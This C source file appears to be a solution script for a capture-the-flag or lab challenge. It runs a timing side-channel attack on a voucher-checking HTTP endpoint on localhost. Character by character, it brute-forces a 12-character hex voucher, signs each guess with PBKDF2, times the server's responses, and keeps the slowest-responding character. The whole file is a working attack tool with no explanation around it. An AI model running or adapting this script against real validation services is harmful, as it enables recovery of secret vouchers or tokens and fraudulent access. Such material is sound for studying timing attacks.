1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/time.h> #include <unistd.h> #include <curl/curl.h> #include <openssl/evp.h> #include <openssl/sha.h>
#define PBKDF2_ITERATIONS 1750000 #define DKLEN 32 #define CHARSET "ABCDEF0123456789" #define CHARSET_SIZE 16
const char *TARGET_URL = "http://127.0.0.1:8001/check";
const char *USER_AGENT = "sheep";
char* calculate_signature(const char* voucher, const char* user_agent) { unsigned char derived_key[DKLEN]; char* signature = malloc(DKLEN*2 + 1); if (!signature) return NULL;
if (PKCS5_PBKDF2_HMAC(voucher, strlen(voucher), (const unsigned char*)user_agent, strlen(user_agent), PBKDF2_ITERATIONS, EVP_sha256(), DKLEN, derived_key) != 1) { fprintf(stderr, "PBKDF2 failed\n"); free(signature); return NULL; }
for (int i = 0; i < DKLEN; ++i) { sprintf(signature + (i * 2), "%02x", derived_key[i]); } signature[DKLEN*2] = '\0'; return signature; }
long measure_response_time(const char* voucher, const char* signature) { CURL *curl = curl_easy_init(); if (!curl) return -1;
struct timeval start, end; long response_time = -1;
char json_payload[1024]; snprintf(json_payload, sizeof(json_payload), "{\"voucher\":\"%s\",\"signature\":\"%s\"}", voucher, signature);
struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Content-Type: application/json"); headers = curl_slist_append(headers, USER_AGENT);
curl_easy_setopt(curl, CURLOPT_URL, TARGET_URL); curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json_payload); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 30L);
gettimeofday(&start, NULL); CURLcode res = curl_easy_perform(curl); gettimeofday(&end, NULL);
if (res == CURLE_OK) { response_time = (end.tv_sec - start.tv_sec) * 1000000L + (end.tv_usec - start.tv_usec); } else { response_time = -1; }
curl_slist_free_all(headers); curl_easy_cleanup(curl); return response_time; }
char find_character_at_position(char* current_voucher, int position) { const char *charset = CHARSET; char best_char = charset[0]; long best_time = 0;
printf("Testing position %d...\n", position);
for (int i = 0; i < CHARSET_SIZE; ++i) { char test_char = charset[i]; char prev = current_voucher[position]; current_voucher[position] = test_char;
char* sig = calculate_signature(current_voucher, USER_AGENT); if (!sig) { current_voucher[position] = prev; continue; }
long t = measure_response_time(current_voucher, sig); if (t > 0) { printf(" %c: %ld μs%s\n", test_char, t, (t > best_time ? " (new best)" : "")); if (t > best_time) { best_time = t; best_char = test_char; } } else { printf(" %c: failed\n", test_char); } free(sig);
current_voucher[position] = prev; usleep(50000); }
printf("Best char at %d => %c (time %ld μs)\n", position, best_char, best_time); return best_char; }
int main() { char voucher[64]; const int L = 12; int dash_positions[] = {1, 4, 8}; for (int i = 0, di = 0; i < L; ++i) { if (di < 3 && i == dash_positions[di]) { voucher[i] = '-'; di++; } else voucher[i] = 'A'; } voucher[L] = '\0';
printf("Initial voucher template: %s\n", voucher);
for (int pos = 0; pos < L; ++pos) { if (voucher[pos] == '-') continue; char found = find_character_at_position(voucher, pos); voucher[pos] = found; printf("Progress: %s\n", voucher); }
printf("Final discovered voucher: %s\n", voucher); char *final_sig = calculate_signature(voucher, USER_AGENT); if (final_sig) { long t = measure_response_time(voucher, final_sig); printf("Final attempt time: %ld μs\n", t); free(final_sig); } return 0; }
|